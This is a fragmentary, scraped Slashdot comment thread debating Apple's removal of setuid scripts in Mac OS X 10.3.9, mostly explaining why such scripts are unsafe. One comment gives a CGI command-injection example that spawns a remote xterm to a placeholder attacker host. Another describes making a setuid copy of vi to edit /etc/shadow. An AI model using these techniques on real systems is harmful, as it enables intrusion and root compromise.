Slashdot Mirror
It's not a Feature, It's a Vulnerability!
pmeunier writes "Apple's security stance is stunning. In the latest (10.3.9) update, Apple removed two capabilities because they pose security risks. One of them is the capability to run setuid and setguid scripts (the other was actually unused). Can other commercial OS vendors (how many are there :) adopt a similar stance? Will you be inconvenienced by the inability to run setuid scripts on MacOS X? Which other features/capabilities (in any OS) would you like to have removed?"
Especially since IBM's AIX hasn't allowed SUID scripts since version 3.5.something...
It'd be nice.
Will you be inconvenienced by the inability to run setuid scripts on MacOS X?
Not at all. SUID scripts are a huge hole. See What security problems exist with SUID scripts and programs? for an example. SUID scripts are usually created by lazy people who can't be bothered to figure out permissions.
Which other features/capabilities (in any OS) would you like to have removed?
I'd like to see the instant-flamewar generator removed.
It lets the program/application/script run as owner (setuid) of the file, or as the group (setguid). So you could have a program owned by root, and when it gets executed it runs as root, rather than being run as whoever executed it.
SUID/SGID works exactly as designed, it's inherently flawed by design, that is the problem.
The functionality was a mistake to include in the first place. I don't remember precisely WHY this is, but I have read that it is simply impossible to make a secure SUID/SGID script in any current flavor of Unix.
Taking it out will undoubtedly inconvenience some folks, but it's sort of like being given a power tool without some critical piece of safety gear. Apple has, in essence, forced you to install that gear on your power tool, like it or not. If it inconveniences you, then you weren't using the tool safely to begin with.
From what I understand, it's usually better to use sudo for this anyway... you can set up sudo so that it will only allow you to execute a particular program or set of programs. The sudoers file is more than slightly cryptic, and it's a bit more typing (both "sudo" and possibly the user password), but this will give you much better safety.
If you just absolutely can't stand doing it that way, then write your script in perl or C and SUID that version. Note that it takes special care in both instances... SUID programs are dangerous, and if someone cracks a user account on your system, that's going to be one of the first things they'll look at to try to get root. Don't just toss something together, go look up how to do it safely. (short form: don't trust your environment, don't trust user input). Perl has some special functions just for this purpose, so be sure to read its documentation carefully.
they are pretty self-explanatory for user commands.
if the setuid bit on a file is set, then any execution of that file is done with the privileges the file's owner (or group in the case of setguid).
for example:
$ chmod 4754 foo.sh
$ ls -l foo.sh
-rwsr-xr-- 1 root foousers 17 Apr 18 15:11 foo.sh
Now anyone in wheel can run foo.sh with root privileges.
$ chmod 2755 foo.sh
$ ls -l foo.sh
-rwxr-sr-x 1 root foousers 0 Apr 18 15:11 foo.sh
Now anyone on the system can run foousers with the privileges of a foousers member.
-mkb
Moments before this story appeared, I received the following email:
It is recommended by the Technical Support staff at Banta Publications that the Mac OS 10.3.9 upgrade NOT be applied at this time.
It seems to be causing general problems with a variety of software applications. Once the upgrade is complete, there is not an easy way to remove it.
If you have questions, please send an e-mail to xxxxxxx@xxxxxxxxxxx.com.
Ignorance is curable, stupid is forever.
Most (all?) Linux distros don't all this, either. Not sure where this happens, if it's bash or something deeper.
/etc/shadow. You shouldn't have any troubles doing so.
If you want to play, try making a script owned by root, which modifies something a normal user can't. Set it SUID (chmod u+s filename). Run it as a normal user. Shouldn't work (except on older OS/X).
Now, try setting vi or a copy of it SUID. (Again, make sure root owns it, and "chmod u+s filename".) Now run it as a normal user, and, say, edit your
Now that you're done, get rid of those suid files so nobody else uses them.
-Uberhund
...unless you build your own shell from source.
seems like a "good thing" to me.
How would something like ping be handled ( I don't use OS X )?
Only applies to scripts, not to compiled executeables. So it wouldn't matter at all.
--
$tar -xvf
Ping is an application, not a script. Applications can still be SETUID but scripts cannot. Not being able to run applications SETUID would cause loads of hassles I suspect. But not being able to run scripts SETUID just keeps lazy scripters from doing stupid things that could compromise their systems.
Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
Considering that it's OS X we are talking about, find is already there.Will give you your list, not sure how many actually show up, I'll have to check when I get back in front of a Mac.
It didn't take long before it was obvious that setuid scripts were a REALLY bad idea, and they've been backed out of one UNIX version after another. this isn't a matter of redefining a feature as a bug, it's a matter of asking "what took you so long?"...
Whoever approved this story should be ashamed of themselves. There's more than enough REAL news that matters...
First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.
% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).
Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.
Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env
What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.
correction - perl doesn't allow running setuid or setgid when running as root (what most people use it for, anyway). You can setuid and setgid as other users, though only setgid is really useful, as far as I can tell.
not being able to run setuid or setgid as root means you can only hack the exploited user or group, not the entire OS.
You probably actually want 'sudo find / -perm +6000 -ls'. That'll find all the files with not just both, but either SUID or SGID.
Apple has not disabled suid. They have disabled suid scripts, a technique inherently unsafe. It is not possible to write a suid script in a secure manner. It is _difficult_ to write a secure suid binary, but far from impossible.
The parent also didn't read the linked article:
emphasis mine. I'm going to guess shell scripts weren't the only kind of text file you could SUID/SGID ...
Disallowing SUID/SGID scripts is industry standard in UNIX-land. Not that "everyone else does it" is a good justification on its own. But, in this case "everyone else had a reason".
You can easily run a script as any ID you desire via sudo, provided with the system. As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also. It is just such a universally unavailable feature, no UNIX programmer would think to even try it these days.
The problem with suid scripts is the mechanism for implementing scripts. Essentially, a script is an executable beginning with (arg is often left blank). When you run it, is translated by the kernel to which is then executed. If the script is setuid, then logically the interpreter should be setuid.
Suppose then that you have a bash script
Linux fixes this (if you turn on setuid scripts) with the
I hereby place the above post in the public domain.
Yeah, people on other unices actually write scripts to do work. They get triggered, and run as user "oracle" or something like that.
Generally out of cron, which runs them as user oracle in a vanilla controlled environment, not whatever random or malicious environment some user running the scripts externally might set up.
. Instead, we'll get something worse: people writing binaries that SUID and execute any random shell script
Like sudo? For interactive work Mac OS X already has a mechanism to do this more safely, and for batch... well... if they're not already doing it for Linux systems that don't support setuid scripts, and didn't do it for UNIX before the brief life of setuid scripts, why would they start now?
There's some marketing stuff here, but I can't find any technical guides:
h tml
.snapshot/hourly.0/foobar.sh .'
http://www.netapp.com/products/software/snapshot.
Basically, the Netapp takes a snapshot of your directories on a regular schedule (hourly, nightly, weekly, whereever). If you want to recover an old version of the file, it's as simple as a 'cp
Also, when you rm a file, the Netapp can put the removed file in a $PWD/.gone directory in case you removed it by accident, and removes the file later (1 day later, 7 days later, whatever you need).
Great features.
94% of Repubs and 21% of Dems voted to renew the Patriot Act
You still don't get it. The problem is not that it is broken. The problem is that it works.
The correct "fix" is removal. Is there any way to make that more clear?
AIX supports it, up through at least 5L (last release I used).
You might have been using a system that used the "suppress suid/guid" mount option.